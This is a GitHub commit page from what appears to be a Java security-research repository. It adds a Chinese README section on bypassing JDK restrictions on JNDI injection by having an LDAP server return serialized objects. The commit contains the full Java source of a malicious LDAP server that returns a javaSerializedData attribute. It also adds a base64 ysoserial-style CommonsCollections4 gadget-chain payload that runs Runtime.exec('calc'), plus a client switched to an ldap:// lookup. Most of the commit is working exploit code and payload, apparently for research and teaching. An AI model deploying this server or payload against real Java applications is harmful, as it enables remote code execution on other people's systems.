Skip to content

Commit 4519966

Browse files
SummerSecSummerSec
committed
Serializable
1 parent 0d14e09 commit 4519966

File tree

6 files changed

+371
-5
lines changed

6 files changed

+371
-5
lines changed

‎RMI JRMP JNDI/README.md‎

Lines changed: 145 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44

55
![image-20210427154417233](https://gitee.com/samny/images/raw/master/17u44er17ec/17u44er17ec.png)
66

7-
##### jndi注入的利用条件
7+
### jndi注入的利用条件
88

99
- 客户端的lookup()方法的参数可控
1010
- 服务端在使用Reference时，classFactoryLocation参数可控～
@@ -19,7 +19,7 @@
1919
- JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。
2020

2121

22-
##### jndi注入 demo
22+
### jndi注入 demo
2323

2424
- 创建一个恶意对象
2525

@@ -125,3 +125,146 @@ public class Client {
125125

126126
![image-20210427154801968](https://gitee.com/samny/images/raw/master/2u48er2ec/2u48er2ec.png)
127127

128+
129+
130+
---
131+
132+
### 高版本JDK绕过，使用序列化对象进行Bypass
133+
134+
其实一直以来JNDI有两种方式注入
135+
136+
LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory:
137+
138+
● Using Java serialization
139+
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
140+
● Using JNDI References
141+
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
142+
143+
![img](https://gitee.com/samny/images/raw/master/summersec//14u24er14ec/14u24er14ec.png)
144+
145+
146+
147+
* JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。
148+
149+
**导致jndi的rmi reference方式失效，但ldap的reference方式仍然可行**
150+
151+
* Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。
152+
153+
**导致jndi的ldap reference方式失效，到这里为止，远程codebase的方式基本失效，除非认为设为tr**
154+
155+
156+
157+
**com/sun/jndi/ldap/Obj.java做了两个判断1. reference 2. Serializable**
158+
159+
![img](https://gitee.com/samny/images/raw/master/summersec//46u24er46ec/46u24er46ec.png)
160+
161+
162+
163+
一是利用远程codebase的方式，二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中，codebase的方式依赖com.sun.jndi.ldap.object.trustURLCodebase的值，而第二种方式仍未失效。
164+
165+
如果在返回的属性中存在javaSerializedData，将继续调用deserializeObject函数，该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原
166+
167+
![image-20211130152733686](https://gitee.com/samny/images/raw/master/summersec//33u27er33ec/33u27er33ec.png)
168+
169+
实现代码：
170+
171+
```
172+
package summersec.ldap;
173+
174+
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
175+
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
176+
import com.unboundid.ldap.listener.InMemoryListenerConfig;
177+
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
178+
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
179+
import com.unboundid.ldap.sdk.Entry;
180+
import com.unboundid.ldap.sdk.LDAPException;
181+
import com.unboundid.ldap.sdk.LDAPResult;
182+
import com.unboundid.ldap.sdk.ResultCode;
183+
import com.unboundid.util.Base64;
184+
import java.io.FileInputStream;
185+
import java.net.InetAddress;
186+
import java.net.MalformedURLException;
187+
import java.net.URL;
188+
import java.text.ParseException;
189+
import javax.net.ServerSocketFactory;
190+
import javax.net.SocketFactory;
191+
import javax.net.ssl.SSLSocketFactory;
192+
193+
public class LdapServer {
194+
private static final String LDAP_BASE = "dc=example,dc=com";
195+
196+
public LdapServer() {
197+
}
198+
199+
public static String readFile(String filePath) throws Exception {
200+
String result = "ser.payload";
201+
return result;
202+
}
203+
204+
public static void main(String[] args) throws Exception {
205+
String url = "http://127.0.0.1/#T";
206+
String ports = "8080";
207+
int port = 8080;
208+
String file = "1.ser";
209+
String POC = readFile(file);
210+
211+
212+
try {
213+
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"});
214+
config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())});
215+
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC));
216+
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
217+
System.out.println("Listening on 0.0.0.0:" + port);
218+
ds.startListening();
219+
} catch (Exception var8) {
220+
var8.printStackTrace();
221+
}
222+
223+
}
224+
225+
private static class OperationInterceptor extends InMemoryOperationInterceptor {
226+
private URL codebase;
227+
private String POC;
228+
229+
public OperationInterceptor(URL cb, String POC) {
230+
this.codebase = cb;
231+
this.POC = POC;
232+
}
233+
234+
public void processSearchResult(InMemoryInterceptedSearchResult result) {
235+
String base = result.getRequest().getBaseDN();
236+
Entry e = new Entry(base);
237+
238+
try {
239+
this.sendResult(result, base, e);
240+
} catch (Exception var5) {
241+
var5.printStackTrace();
242+
}
243+
244+
}
245+
246+
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
247+
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
248+
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
249+
e.addAttribute("javaClassName", "Exploit");
250+
String cbstring = this.codebase.toString();
251+
int refPos = cbstring.indexOf(35);
252+
if (refPos > 0) {
253+
cbstring.substring(0, refPos);
254+
}
255+
try {
256+
e.addAttribute("javaSerializedData", Base64.decode(this.POC));
257+
} catch (ParseException var8) {
258+
var8.printStackTrace();
259+
}
260+
result.sendSearchEntry(e);
261+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
262+
}
263+
}
264+
}
265+
```
266+
267+
268+
269+
可以使用项目[LdapBypassJndi](https://github.com/Firebasky/LdapBypassJndi)，工具将代码实现了ldap序列化对象的漏洞利用。
270+

‎RMI JRMP JNDI/lib/1.ser‎

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh
2+
cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u
3+
cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM
4+
AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv
5+
Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0
6+
aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y
7+
Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVy
8+
h+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQA
9+
EkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1
10+
cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1
11+
cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5v
12+
cmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKsz
13+
AwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsA
14+
Bl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRp
15+
bC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4
16+
BghU4AIAAHhwAAAGmsr+ur4AAAAyADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQB
17+
AAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5l
18+
TnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5
19+
bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0
20+
dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFs
21+
YW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z
22+
ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9v
23+
cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1
24+
bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy
25+
OwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
26+
c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy
27+
YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6
28+
YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRl
29+
cm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hl
30+
L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZp
31+
bGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdl
32+
dHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h
33+
bC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEA
34+
OWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlv
35+
bgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFu
36+
Zy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgAr
37+
AC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9j
38+
ZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNjI0MDA1MjU4
39+
OTU5OTAwAQAgTHlzb3NlcmlhbC9Qd25lcjYyNDAwNTI1ODk1OTkwMDsAIQACAAMAAQAEAAEAGgAF
40+
AAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAv
41+
AA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAz
42+
AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIA
43+
DAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA2AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYA
44+
AQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMB
45+
TLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgA
46+
AAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z
47+
dGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs
48+
ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNv
49+
c2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMu
50+
amF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZh
51+
L2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMv
52+
dXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8A
53+
AQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQA
54+
EQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4
55+
AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==

‎RMI JRMP JNDI/pom.xml‎

Lines changed: 37 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,47 @@
1414
<groupId>org.apache.maven.plugins</groupId>
1515
<artifactId>maven-compiler-plugin</artifactId>
1616
<configuration>
17-
<source>9</source>
18-
<target>9</target>
17+
<source>6</source>
18+
<target>6</target>
1919
</configuration>
2020
</plugin>
2121
</plugins>
2222
</build>
23+
<dependencies><!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
24+
<dependency>
25+
<groupId>com.unboundid</groupId>
26+
<artifactId>unboundid-ldapsdk</artifactId>
27+
<version>6.0.2</version>
28+
<scope>test</scope>
29+
</dependency>
30+
<dependency>
31+
<groupId>com.unboundid</groupId>
32+
<artifactId>unboundid-ldapsdk</artifactId>
33+
<version>6.0.2</version>
34+
<scope>compile</scope>
35+
</dependency>
36+
<dependency>
37+
<groupId>org.apache.tomcat</groupId>
38+
<artifactId>tomcat-catalina</artifactId>
39+
<version>9.0.20</version>
40+
</dependency>
41+
<dependency>
42+
<groupId>org.apache.commons</groupId>
43+
<artifactId>commons-collections4</artifactId>
44+
<version>4.0</version>
45+
</dependency>
2346

47+
<dependency>
48+
<groupId>org.apache.tomcat</groupId>
49+
<artifactId>tomcat-dbcp</artifactId>
50+
<version>9.0.8</version>
51+
</dependency>
52+
53+
<dependency>
54+
<groupId>org.apache.tomcat</groupId>
55+
<artifactId>tomcat-jasper</artifactId>
56+
<version>9.0.20</version>
57+
</dependency>
58+
</dependencies>
2459

2560
</project>

‎RMI JRMP JNDI/src/main/java/summersec/jndi/Client.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,6 @@ public class Client {
1616

1717
public static void main(String[] args) throws NamingException {
1818
Context context = new InitialContext();
19-
context.lookup("rmi://127.0.0.1:1099/evil");
19+
context.lookup("ldap://127.0.0.1:8080/evil");
2020
}
2121
}

0 commit comments

Comments
 (0)